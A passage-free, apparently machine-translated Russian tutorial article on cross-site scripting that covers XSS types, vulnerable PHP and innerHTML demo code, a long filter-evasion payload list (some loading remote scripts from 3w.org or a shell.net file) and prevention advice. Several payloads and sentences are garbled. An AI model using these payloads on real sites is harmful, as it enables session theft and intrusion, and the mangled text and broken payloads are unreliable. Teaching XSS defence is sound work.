На этот раз досконально изучите XSS-атаки

XSS
На этот раз досконально изучите XSS-атаки

Я надеюсь, что после прочтения этой статьи вы полностью поймете, что такое XSS-атака.

Без лишних слов, давайте к делу.

1. Краткое введение

Межсайтовый скриптинг (Межсайтовый скриптинг, именуемый: CSS, но его можно спутать с аббревиатурой Cascading Style Sheets (Каскадные таблицы стилей, CSS). Следовательно, атака межсайтового скриптинга, сокращенно XSS) — это безопасность веб-приложений. Атака через уязвимости.

Атаки XSS обычно относятся к использованию лазеек, оставшихся при разработке веб-страниц, и внедрению вредоносных кодов инструкций в веб-страницы с помощью хитрых методов, чтобы пользователи могли загружать и выполнять веб-программы, злонамеренно созданные злоумышленниками. Эти вредоносные веб-программы обычно представляют собой JavaScript, но на самом деле могут включать Java, VBScript, LiveScript, ActiveX, Flash или даже обычный HTML. После успешной атаки злоумышленник может получить различный контент, включая, помимо прочего, более высокие привилегии (например, выполнение некоторых операций), частный веб-контент, сеансы и файлы cookie.

2. XSS-тип

Наиболее распространенные категории:Отраженный (непостоянный) XSS,Сохраненный (постоянный) XSS,XSS типа DOM,Общий XSS,Мутант XSS.

Отраженный XSS

Отраженный XSS просто отражает данные, введенные пользователем с сервера, в браузер пользователя.Чтобы воспользоваться этой уязвимостью, злоумышленник должен каким-то образом побудить пользователя посетить тщательно созданный URL-адрес (вредоносную ссылку) для проведения атаки.

Например, когда код веб-сайта содержит такие утверждения:


<?php echo "<p>hello,$_GET['user']</p>"; ?>

Если предотвращение XSS не выполнено, имя пользователя устанавливается на<script>alert("Tz")</script>, будет выполнен заданный код JavaScript.

Уязвимость

Когда пользовательский ввод или некоторые контролируемые пользователем параметры выводятся на страницу необработанными, могут возникнуть XSS-уязвимости. Основные сценарии следующие:

  • При вставке ненадежных данных между HTML-тегами, // такими как div, p, td;

  • При вставке ненадежных данных в атрибуты HTML; // Например:<div width=$INPUT></div>

  • При вставке недостоверных данных в SCRIPT; // Например:<script>var message = ” $INPUT “;</script>

  • Бывает и случай вставки в атрибут Style, что тоже вредно; // Например<span style=” property : $INPUT ”></span>

  • При вставке ненадежных данных в URL-адрес HTML, // например:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>

  • При использовании форматированного текста фильтрация кодировки с помощью механизма правил XSS не выполняется.

Для описанных выше сценариев, если сервер или внешний интерфейс не принимают превентивные меры, будут скрытые уязвимости.

Процесс атаки

Отраженный XSS обычно появляется в таких функциях, как поиск, и должен быть запущен злоумышленником, щелкнувшим соответствующую ссылку, и на него сильно влияет XSS Auditor (встроенная в Chrome защита от XSS), NoScript и другие средства защиты, поэтому он более вреден, чем хранилище. Тип должен быть маленьким.

Сохраненный XSS

Сохраненные (или HTML-внедрение/постоянные) XSS-атаки чаще всего происходят на веб-сайтах, управляемых контентом сообщества или веб-почтовыми сайтами, и не требуют для выполнения специально созданных ссылок. Хакеру просто нужно отправить код эксплойта XSS (обычно XSS отражается только в URL-адресе) в место на веб-сайте, которое могут посетить другие пользователи. Эти области могут быть博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis, и много других. Как только пользователь посещает зараженную страницу, выполнение происходит автоматически.

Уязвимость

​ Причина хранимой XSS-уязвимости аналогична первопричине типа отражения, отличие состоит в том, что вредоносный код будет храниться на сервере, в результате чего другие пользователи (front-end) и администраторы (front-end и back-end) end) для выполнения вредоносного кода при доступе к ресурсам Сервер — межсайтовое связывание — возвращает межсайтовый код.

Процесс атаки

XSS типа DOM

XSS, сформированный путем изменения узлов DOM страницы, называется XSS на основе DOM.

Уязвимость

XSS-типа DOM основан на модели объекта DOM Document. Для браузеров документ DOM представляет собой документ XML. С помощью этой стандартной технологии DOM можно легко получить через JavaScript. Когда подтверждается, что в клиентском коде есть уязвимость XSS DOM-типа, чтобы индуцировать (фишинг) пользователю для доступа к URL-адресу, построенному сам, шаги эксплуатации очень похожи на те из типа отражения, но единственная разница Соответствует то, что построенные параметры URL не должны отправляться на сервер., Что может достичь влияния обход WAF и уклонение от эффекта обнаружения сервера.

Пример атаки

<html>
    <head>
        <title>DOM Based XSS Demo</title>
        <script>
        function xsstest()
        {
        var str = document.getElementById("input").value;
        document.getElementById("output").innerHTML = "<img
        src='"+str+"'></img>";
        }
        </script>
    </head>
    <body>
    <div id="output"></div>
    <input type="text" id="input" size=50 value="" />
    <input type="button" value="submit" onclick="xsstest()" />
    </body>
</html>

В этом коде событие onclick кнопки отправки вызывает функцию xsstest(). В xsstest() модифицируется узел страницы DOM, и часть пользовательских данных записывается на страницу в виде HTML через innerHTML, что приводит к XSS на основе DOM.

Общий XSS

Универсальный XSS, также известный как UXSS или Universal XSS, полное название универсального межсайтового скриптинга.

Вышеупомянутые три типа XSS-атак являются целевыми веб-сайтами или приложениями, которые имеют уязвимости из-за таких проблем, как неточная разработка кода на стороне клиента или сервера. Предпосылкой для этих атак является наличие уязвимости на посещаемой странице, но UXSS — это тип атаки, который использует уязвимости браузера или расширения браузера для создания условий, которые генерируют XSS и выполняют код.

Уязвимость

Веб-браузеры являются одним из самых популярных используемых приложений. Когда обнаруживается новая уязвимость, независимо от того, эксплуатируется ли она сама или сообщается властям, процесс занимает значительный период времени. Все они могут быть использованы для UXSS.

Не только уязвимости самого браузера, но и теперь основные браузеры поддерживают установку расширений, и многие расширения браузера могут привести к большему количеству уязвимостей и проблем с безопасностью. Поскольку атаки UXSS не требуют наличия уязвимостей на самих страницах веб-сайта и могут иметь доступ к другим безопасным, неуязвимым страницам, UXSS является одним из самых опасных и разрушительных типов атак в XSS.

Случай уязвимости

Уязвимость в браузерном расширении IE6 или Firefox Adobe Acrobat

Это более классический пример. Вызывает ошибку при использовании расширения, разрешая выполнение кода. Это ошибка в программе для чтения PDF-файлов, которая позволяет злоумышленнику выполнять сценарии на стороне клиента. Создавайте вредоносные страницы, пишите вредоносные скрипты и используйте расширения для запуска кода при открытии PDF-файлов. UXSS был впервые задокументирован и описан Тефано Ди Паолой и Джорджио Федоном в эксплуатируемой ошибке в подключаемом модуле Adobe Reader для браузера Mozilla Firefox, который позволяет заполнять форму документа данными из внешних источников данных с помощью ряда параметров, которые, если они выполнены неправильно, позволит атаковать межсайтовые скрипты.

Подробности смотрите в кейсе:Отчеты UXSS в плагине Acrobat

Уязвимость Flash Player, связанная с UXSS, — CVE-2011-2107

Недостаток в подключаемом модуле Flash Player 2011 года (все версии на тот момент) позволял злоумышленникам получить доступ к настройкам Gmail и добавить адреса пересылки с помощью созданного файла .swf. Таким образом, злоумышленник может получить копии всех электронных писем из любой скомпрометированной учетной записи Gmail (с копией при отправке). Adobe признала наличие уязвимости.

Подробности смотрите в кейсе:Уязвимость Flash Player, связанная с UXSS — отчет CVE-2011-2107

Мобильные устройства не являются исключением и могут стать целью XSS-атак. В Chrome для Android существует уязвимость, которая позволяет злоумышленнику внедрить вредоносный код на любую веб-страницу, загружаемую Chrome через объект Intent.

Уязвимость браузера Android Chrome

Подробности смотрите в кейсе:Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra

Мутант XSS

Mutant XSS, также называемый mXSS или расшифровывается как Mutation-based Cross-Site-Scripting. (мутация, мутация, слово из генетики, известная всем генная мутация, генная мутация)

Уязвимость

Однако, если предоставленный пользователем форматированный текст входит в атрибут innerHTML через код javascript, некоторые неожиданные изменения могут сделать это предположение недействительным: механизм рендеринга браузера преобразует безобидный HTML-код в потенциально опасный HTML-код.Код атаки XSS.

Впоследствии код атаки может быть выведен в DOM некоторыми другими процессами в коде JS или снова отрендерен другими способами, что приведет к выполнению XSS. Этот тип атаки, который в конечном итоге приводит к XSS из-за неожиданных изменений в содержимом HTML после входа в innerHTML.

Процесс атаки

​ Операция размещения сплайсированного контента в innerHTML очень распространена в текущем коде веб-приложений.Многие распространенные веб-приложения используют атрибут innerHTML, что может привести к потенциальным атакам mXSS. С точки зрения браузера mXSS влияет на три основных браузера (IE, CHROME, FIREFOX).

mXSS-типы

Известные до сих пор типы mXSS будут обсуждаться и объясняться в следующих разделах.

  • mXSS, вызванный обратными кавычками, нарушающими границу атрибута; (этот тип mXSS был обнаружен и использован первым, он был предложен в 2007 году и впоследствии был эффективно исправлен)

  • mXSS, вызванный атрибутами xmlns в неизвестных элементах (некоторые браузеры не поддерживают теги HTML5, например IE8, и рассматривают статьи, отступления, меню и т. д. как неизвестные теги HTML).

  • mXSS, вызванный экранированием обратной косой черты в CSS; (в CSS \ разрешено экранировать символы, например:property: 'v\61 lue'выражатьproperty:'value', где 61 — код ascii (шестнадцатеричный) буквы a. За \ также может следовать юникод, например: \20AC означает € . Обычно этот побег не будет проблемой. Но когда вы нажимаете на innerHTML, происходит нечто удивительное. )

  • mXSS, вызванный двойными кавычками или экранированием в CSS; (продолжая предыдущую часть, это все еще проблема в CSS,&quot; &#x22; &#34;например, представления в двойных кавычках могут вызвать такие проблемы,)

  • mXSS, вызванный экранированием имен свойств CSS;

  • Мутация сущности в документах, отличных от HTML;

  • Мутации сущностей в контекстах, отличных от HTML, в документах HTML;

3. Сценарии, в которых появляется код атаки XSS

  • Обычная XSS-инъекция JavaScript, пример следующий:

    <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
    
  • Тег IMG XSS с использованием команд JavaScript, пример следующий:

    <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
    
  • Теги IMG без точек с запятой без кавычек, пример следующий:

    <IMG SRC=javascript:alert(‘XSS’)>
    
  • Теги IMG нечувствительны к регистру., пример следующий:

    <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
    
  • Кодировка HTML (должна быть точка с запятой), пример следующий:

    <IMG SRC=javascript:alert(“XSS”)>
    
  • Исправлена ​​ошибка в тегах IMG., пример следующий:

    <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
    
  • Тег formCharCode, пример следующий:

    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    
  • Юникод-кодировка UTF-8, пример следующий:

    <IMG SRC=jav..省略..S')>
    
  • 7-битная кодировка Unicode UTF-8 не имеет точек с запятой, пример следующий:

    <IMG SRC=jav..省略..S')>
    
  • Шестнадцатеричная кодировка также без точек с запятой, пример следующий:

    <IMG SRC=\'#\'" /span>
    
  • Встроенные теги, разделяющие Javascript, пример следующий:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • Встроенные теги кодирования, разделяющие Javascript, пример следующий:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • Встроенные новые строки, пример следующий:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • Встроенный возврат каретки, пример следующий:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • Встроенная многострочная инъекция JavaScript, это крайний пример XSS, пример следующий:

    <IMG SRC=\'#\'" /span>
    
  • Решите ограниченные символы (требуется та же страница), пример следующий:

          <script>z=z+ ’write(“‘</script>
    
          <script>z=z+ ’<script’</script>
    
          <script>z=z+ ’ src=ht’</script>
    
          <script>z=z+ ’tp://ww’</script>
    
          <script>z=z+ ’w.shell’</script>
    
          <script>z=z+ ’.net/1.’</script>
    
          <script>z=z+ ’js></sc’</script>
    
          <script>z=z+ ’ript>”)’</script>
    
          <script>eval_r(z)</script>
    
  • нулевой символ, пример следующий:

          perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
    
  • Пустой символ 2, пустой символ практически не действует в Китае, потому что его негде использовать., пример следующий:

          perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
    
  • Теги IMG перед пробелами и метаданными, пример следующий:

    <IMG SRC=\'#\'"  
    
    javascript:alert(‘XSS’);”>
    
  • Non-alpha-non-digit XSS, пример следующий:

    <SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
    
  • Non-alpha-non-digit XSS to 2, пример следующий:

    <BODY onload!#$%&()*~+ -_.,:;?@[/|\]^`=alert(“XSS”)>
    
  • Non-alpha-non-digit XSS to 3, пример следующий:

    <SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
    
  • двойная открытая скобка, пример следующий:

    <<SCRIPT>alert(“XSS”);//<</SCRIPT>
    
  • Нет закрывающего тега скрипта (только в таких браузерах, как Firefox), пример следующий:

    <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
    
  • нет закрывающего тега скрипта 2, пример следующий:

    <SCRIPT SRC=//3w.org/XSS/xss.js>
    
  • Полуоткрытый HTML/JavaScript XSS, пример следующий:

    <IMG SRC=\'#\'" /span>
    
  • Двойные открытые угловые скобки, пример следующий:

    <iframe src=http://3w.org/XSS.html <
    
  • нет одинарных кавычек двойных кавычек точка с запятой, пример следующий:

    <SCRIPT>a=/XSS/
    alert(a.source)</SCRIPT>
    
  • Побег отфильтрованного JavaScript, пример следующий:

      \”;alert(‘XSS’);//
    
  • Конечный тег заголовка, пример следующий:

    </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
    
  • Input Image, пример следующий:

    <INPUT SRC=\'#\'" /span>
    
  • BODY Image, пример следующий:

    <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
    
  • этикетка ТЕЛА, пример следующий:

    <BODY(‘XSS’)>
    
  • IMG Dynsrc, пример следующий:

    <IMG DYNSRC=\'#\'" /span>
    
  • IMG Lowsrc, пример следующий:

    <IMG LOWSRC=\'#\'" /span>
    
  • BGSOUND, пример следующий:

    <BGSOUND SRC=\'#\'" /span>
    
  • STYLE sheet, пример следующий:

    <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
    
  • удаленная таблица стилей, пример следующий:

    <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
    
  • Изображение в стиле списка, пример следующий:

    <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
    
  • IMG VBscript, пример следующий:

    <IMG SRC=\'#\'" /STYLE><UL><LI>XSS
    
  • URL МЕТА-ссылки, пример следующий:

    <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
    
  • Iframe, пример следующий:

    <IFRAME SRC=\'#\'" /IFRAME>
    
  • Frame, пример следующий:

    <FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
    
  • Table, пример следующий:

    <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
    
  • TD, пример следующий:

    <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
    
  • DIV background-image, пример следующий:

    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
    
  • Добавить дополнительные символы после фонового изображения DIV (1-32, 34, 39, 160, 8192-8, 13, 12288 и 65279)., пример следующий:

    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
    
  • DIV expression, пример следующий:

    <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
    
  • Выражение разделения атрибута STYLE, пример следующий:

    <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
    
  • Anonymous STYLE (состав: открытый рог и письмо), пример следующий:

    <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
    
  • STYLE background-image, пример следующий:

    <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
    
  • IMG СТИЛЬ путь, пример следующий:

      exppression(alert(“XSS”))’>
    
  • STYLE background, пример следующий:

    <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
    
  • BASE, пример следующий:

    <BASE HREF=”javascript:alert(‘XSS’);//”>
    

4. Предотвращение XSS-атак

Существует множество методов предотвращения XSS-атак в Интернете, но сколько бы методов ни было, они всегда одни и те же.

В атаке XSS есть два основных элемента: 1. Злоумышленник отправляет вредоносный код. 2. Браузер выполняет вредоносный код.

1. Предотвращение XSS-атак типа DOM

XSS-атаки типа DOM на самом деле представляют собой код JavaScript на внешнем интерфейсе веб-сайта, который не является достаточно строгим и выполняет ненадежные данные как код.

В использовании.innerHTML、.outerHTML、document.write() Будьте особенно осторожны, чтобы не вставлять ненадежные данные на страницу в виде HTML, а вместо этого используйте .textContent、.setAttribute()Ждать.

Встроенные прослушиватели событий в DOM, такие какlocation、onclick、onerror、onload、onmouseover и т.д., с маркировкойhrefсвойства, JavaScripteval()、setTimeout()、setInterval()и т. д., может запускать строки как код. Если ненадежные данные объединяются в строки и передаются этим API, это может легко создать угрозу безопасности, поэтому обязательно избегайте их.

2. Входная фильтрация

Если вход фильтруется внешним интерфейсом, а затем отправляется на серверную часть. Как только злоумышленник обходит интерфейсную фильтрацию и напрямую формирует запрос, вредоносный код может быть отправлен.

Затем измените время фильтрации: серверная часть фильтрует ввод перед записью в базу данных, а затем возвращает «безопасный» контент во внешний интерфейс. Это возможно? Возьмем пример: обычный пользователь вводит содержимое 5 $lt;7. Проблема в том, что на этапе фиксации мы не уверены, куда будет выводиться контент.

«Не уверен, куда выводить содержимое» здесь имеет два значения:

  1. Вводимое пользователем содержимое может быть предоставлено внешнему интерфейсу и клиенту одновременно, и после передачи escapeHTML() содержимое, отображаемое клиентом, становится искаженным ( 5$lt;7).
  2. Во внешнем интерфейсе требуемая кодировка различна для разных мест. когда 5$lt;7 При использовании в качестве страницы сплайсинга HTML она может отображаться нормально:5 < 7

Таким образом, входная фильтрация не является полностью надежной.Нам необходимо предотвратить XSS, «предотвратив выполнение браузером вредоносного кода».Можно использовать следующие два метода.

3. Внешний рендеринг отделяет код от данных

Во внешнем рендеринге мы четко говорим браузеру: контент, который должен быть установлен ниже, — это текст (.innerText), или атрибут (.setAttribute), или стиль (.style) и так далее. Браузеры не так-то просто заставить выполнять неожиданный код.

  • Javascript: там, где вы можете использовать textContent или innerText, старайтесь не использовать innerHTML;

  • query: Там, где можно использовать text(), постарайтесь не использовать html();

4. Экранируйте HTML при склеивании

Если необходимо сращивание HTML, необходимо использовать подходящую библиотеку escape, чтобы адекватно избежать точек вставки в шаблоне HTML.

Распространенные шаблонизаторы, такие как doT.js, ejs, FreeMarker и т. д., обычно имеют только одно правило для экранирования HTML, то есть экранирование символов & " '/, что действительно может играть определенную роль в защите от XSS. Но не идеально:

Вот рекомендуемый интерфейсный плагин для предотвращения XSS-атак:Использование и интерпретация исходного кода js-xss, еженедельные загрузки Git 3.8K Star и 60 Вт доказывают его мощь.

V. Резюме

Предотвращение XSS — это не только задача на стороне сервера, но и системная инженерия, которая требует участия как внутреннего, так и внешнего интерфейса. Хотя полностью избежать XSS техническими средствами сложно, мы уменьшаем возникновение уязвимостей в принципе.

Справочные ресурсы

конец

Если у вас есть какие-либо вопросы, вы можете оставить сообщение ниже, и мы ответим как можно скорее!

Спасибо, что нашли время, чтобы прочитать эту статью, я надеюсь, что это поможет!

Я был на вершине горы и был на дне долины, и я получил много пользы от обоих. Персональный сайт:zhaohongcheng.com